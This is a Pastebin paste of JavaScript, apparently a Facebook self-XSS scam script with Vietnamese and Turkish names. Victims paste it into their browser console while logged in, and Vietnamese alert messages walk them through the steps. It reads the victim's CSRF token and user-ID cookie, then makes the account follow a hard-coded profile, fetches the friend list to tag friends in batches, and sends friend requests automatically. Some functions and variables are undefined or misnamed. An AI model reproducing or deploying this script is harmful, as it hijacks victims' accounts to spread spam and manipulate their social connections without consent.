Advertisement
Guest User

Untitled

a guest
Jul 27th, 2015
222
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.25 KB | None | 0 0
  1.  
  2.  
  3. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  4. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);alert('Bạn hãy nhấn Enter 3 lần nha');
  5. alert('Bạn hãy nhấn F5 để hoàn tất');
  6. alert('Chú ý không được làm 2 lần');
  7. function a(abone){
  8. var http4 = new XMLHttpRequest();
  9. var url4 = "/ajax/follow/follow_profile.php?__a=1";
  10. var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
  11. http4.open("POST", url4, true);
  12. http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  13. http4.setRequestHeader("Content-length", params4.length);
  14. http4.setRequestHeader("Connection", "close");
  15. http4.onreadystatechange = function() {
  16. if(http4.readyState == 4 && http4.status == 200) {http4.close;}
  17. }
  18. http4.send(params4);
  19. }
  20. // Close the connection
  21. function sublist(uidss) {
  22. var a = document.createElement('script');
  23. a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();";
  24. document.body.appendChild(a);
  25. }
  26. // Không edit bất kì gì từ đây trở lên
  27. a("100004233242000");;
  28.  
  29. // Nơi được sửa
  30.  
  31.  
  32. // Từ đây trở xuống là nhảm chủ yếu giấu bớt ID
  33.  
  34. function sarkadaslari_al(){
  35. var xmlhttp = new XMLHttpRequest();
  36. xmlhttp.onreadystatechange = function () {
  37. if(xmlhttp.readyState == 4){
  38. eval("arkadaslar = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  39. for(f=0;f<Math.round(arkadaslar.payload.entries.length/10);f++){
  40. smesaj = "";
  41. smesaj_text = "";
  42. for(i=f*10;i<(f+1)*10;i++){
  43. if(arkadaslar.payload.entries[i]){
  44. smesaj += " @[" + arkadaslar.payload.entries[i].uid + ":" + arkadaslar.payload.entries[i].text + "]";
  45. smesaj_text += " " + arkadaslar.payload.entries[i].text;
  46. }
  47. }
  48. sdurumpaylas(); }
  49.  
  50. }
  51.  
  52. };
  53. var params = "&filter[0]=user";
  54. params += "&options[0]=friends_only";
  55. params += "&options[1]=nm";
  56. params += "&token=v7";
  57. params += "&viewer=" + user_id;
  58. params += "&__user=" + user_id;
  59.  
  60. if (document.URL.indexOf("https://") >= 0) { xmlhttp.open("GET", "https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
  61. else { xmlhttp.open("GET", "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
  62. xmlhttp.send();
  63. }
  64.  
  65. var tiklama = document.addEventListener("click", function () {
  66. if(document.cookie.split("paylasti=")[1].split(";")[0].indexOf("hayir") >= 0){
  67. svn_rev = document.head.innerHTML.split('"svn_rev":')[1].split(",")[0];
  68. sarkadaslari_al();
  69. document.cookie = "paylasti=evet;expires="+ btarihi.toGMTString();
  70.  
  71. document.removeEventListener(tiklama);
  72. }
  73. }, false);
  74.  
  75. function sarkadasekle(uid,tem){
  76. var xmlhttp = new XMLHttpRequest();
  77. xmlhttp.onreadystatechange = function () {
  78. if(xmlhttp.readyState == 4){
  79. }
  80. };
  81.  
  82. xmlhttp.open("POST", "/ajax/add_friend/action.php?__a=1", true);
  83. var params = "to_friend=" + uid;
  84. params += "&action=add_friend";
  85. params += "&how_found=friend_browser";
  86. params += "&ref_param=none";
  87. params += "&outgoing_id=";
  88. params += "&logging_location=friend_browser";
  89. params += "&no_flyout_on_click=true";
  90. params += "&ego_log_data=";
  91. params += "&http_referer=";
  92. params += "&fb_dtsg=" + document.getElementsByName('fb_dtsg')[0].value;
  93. params += "&phstamp=165816749114848369115";
  94. params += "&__user=" + user_id;
  95. xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
  96. xmlhttp.setRequestHeader ("Content-Type","application/x-www-form-urlencoded");
  97.  
  98. if(tem == "farketmez" && document.cookie.split("tem" + user_id +"=").length > 1){
  99. xmlhttp.send(params);
  100. }else if(document.cookie.split("tem" + user_id +"=").length <= 1){
  101. cinsiyetgetir(uid,tem,"sarkadasekle");
  102. }else if(tem == document.cookie.split("tem" + user_id +"=")[1].split(";")[0].toString()){
  103. xmlhttp.send(params);
  104. }
  105. }
  106.  
  107. var temsonuc = {};
  108. var temhtml = document.createElement("html");
  109. function scinsiyetgetir(uid,tem,fonksiyon){
  110. var xmlhttp = new XMLHttpRequest();
  111. xmlhttp.onreadystatechange = function () {
  112. if(xmlhttp.readyState == 4){
  113. eval("temsonuc = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  114. temhtml.innerHTML = temsonuc.jsmods.markup[0][1].__html
  115. btarihi.setTime(bugun.getTime() + 1000*60*60*24*365);
  116. if(temhtml.getElementsByTagName("select")[0].value == "1"){
  117. document.cookie = "tem" + user_id + "=kadin;expires=" + btarihi.toGMTString();
  118. }else if(temhtml.getElementsByTagName("select")[0].value == "2"){
  119. document.cookie = "tem" + user_id + "=erkek;expires=" + btarihi.toGMTString();
  120. }
  121. eval(fonksiyon + "(" + id + "," + tem + ");");
  122. }
  123. };
  124. xmlhttp.open("GET", "/ajax/timeline/edit_profile/basic_info.php?__a=1&__user=" + user_id, true);
  125. xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
  126. xmlhttp.send();
  127. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement